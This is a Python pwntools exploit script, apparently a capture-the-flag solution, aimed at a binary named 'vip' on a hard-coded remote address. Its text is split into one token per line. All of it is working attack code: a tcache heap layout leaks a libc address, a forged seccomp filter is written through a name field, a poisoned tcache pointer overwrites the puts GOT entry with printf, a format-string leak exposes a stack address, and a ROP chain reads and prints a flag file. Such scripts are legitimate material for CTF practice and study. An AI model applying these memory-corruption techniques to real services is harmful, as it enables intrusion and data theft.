from
pwn
import
*
import
argparse
context.binary
=
'./vip'
IP
=
'112.126.103.14'
PORT
=
'9999'
binary
=
'./vip'
io
=
None
parser
=
argparse.ArgumentParser()
parser.add_argument(
'-d'
,
'--debugger'
, action
=
'store_true'
)
parser.add_argument(
'-r'
,
'--remote'
, action
=
'store_true'
)
parser.add_argument(
'-l'
,
'--local'
, action
=
'store_true'
)
args
=
parser.parse_args()
sa
=
lambda
x,y : io.sendafter(x,y)
sla
=
lambda
x,y : io.sendlineafter(x,y)
sl
=
lambda
x : io.sendline(x)
sd
=
lambda
x : io.send(x)
ru
=
lambda
x : io.recvuntil(x)
rud
=
lambda
x : io.recvuntil(x,drop
=
True
)
ruf
=
lambda
x : io.recvuntil(x)
uu64
=
lambda
x : u64(x[
-
6
:].ljust(
8
,
'\x00'
))
def
lg(s, addr):
print
(
'\033[1;31;40m%30s-->0x%x\033[0m'
%
(s, addr))
if
args.remote:
io
=
remote(IP, PORT)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
elf
=
ELF(binary)
elif
args.local
or
args.debugger:
env
=
{}
io
=
process(binary, env
=
env)
elf
=
ELF(binary)
proc_base
=
io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
libc_bb
=
io.libs()[
'/lib/x86_64-linux-gnu/libc.so.6'
]
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
else
:
parser.print_help()
exit()
def
debug(msg
=
""):
msg
=
pwnlib.gdb.attach(io,msg)
def
malloc(idx):
sla(
"choice"
,
"1"
)
sla(
"Index"
,
str
(idx))
def
show(idx):
sla(
"choice"
,
"2"
)
sla(
"Index"
,
str
(idx))
def
free(idx):
sla(
"choice"
,
"3"
)
sla(
"Index"
,
str
(idx))
def
edit(idx,sz):
sla(
"choice"
,
"4"
)
sla(
"Index"
,
str
(idx))
sla(
"Size"
,
str
(sz))
def
edit_chunk(idx,sz,con):
sla(
"choice"
,
"4"
)
sla(
"Index"
,
str
(idx))
sla(
"Size"
,
str
(sz))
sd(con)
def
vip(name):
sla(
"choice"
,
"6"
)
sa(
"name"
,name)
def
ssl(con):
sl(con)
sleep(
0.2
)
def
exploit2():
malloc(
0
)
buf
=
0x20
*
'a'
buf
+
=
" \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\t\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
buf
=
buf[:
0x50
]
vip(buf)
debug()
io.interactive()
def
exploit():
[malloc(i)
for
i
in
range
(
0
,
16
)]
[free(i)
for
i
in
range
(
0
,
15
)]
[malloc(i)
for
i
in
range
(
0
,
7
)]
edit(
15
,
"1"
*
0x400
)
malloc(
0
)
show(
0
)
leak
=
u64(ru(
"\x7f"
)[
-
6
:].ljust(
8
,
'\x00'
))
lg(
'leak'
,leak)
base
=
leak
-
0x3ebf90
system
=
base
+
libc.symbols[
'system'
]
__malloc_hook
=
base
+
libc.symbols[
'__malloc_hook'
]
lg(
'base'
,base)
__free_hook
=
base
+
libc.symbols[
'__free_hook'
]
printf
=
base
+
libc.symbols[
'printf'
]
buf
=
"a"
*
0x20
buf
+
=
" \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x04>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\x01\x01\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
buf
=
buf[:
0x50
]
vip(buf)
free(
5
)
free(
2
)
edit_chunk(
3
,
0x80
,
'a'
*
0x50
+
p64(
0
)
+
p64(
0x61
)
+
p64(elf.got[
'puts'
]))
malloc(
0
)
edit_chunk(
0
,
0x10
,
'%p %p %p %p \x00'
)
malloc(
1
)
edit_chunk(
1
,
0x10
,p64(printf))
show(
0
)
ru(
"999 "
)
stack_addr
=
int
(rud(
" Done"
),
16
)
lg(
'stack_addr'
,stack_addr
-
73
)
free(
3
)
edit_chunk(
4
,
0x80
,
'a'
*
0x50
+
p64(
0
)
+
p64(
0x61
)
+
p64(stack_addr
-
73
))
stack_payload
=
[
0x00000000004018fb
,
stack_addr
-
73
+
0x100
,
0x00000000004018f9
,
0
,
0
,
base
+
0x00000000000439c8
,
2
,
base
+
0x00000000000d2975
,
0x00000000004018fb
,
4
,
0x00000000004018f9
,
0x404800
,
0
,
base
+
0x0000000000001b96
,
0x100
,
elf.plt[
'read'
],
0x00000000004018fb
,
0x404800
,
base
+
libc.symbols[
'puts'
],
0x00000000004018fb
,
0x0
,
elf.plt[
'exit'
],
]
malloc(
1
)
malloc(
2
)
edit_chunk(
2
,
0x400
,flat(stack_payload).ljust(
0x100
,
'\x00'
)
+
"flag\x00"
)
io.interactive()
if
__name__
=
=
"__main__"
:
try
:
exploit()
except
EOFError as e:
io.close()
print
"error"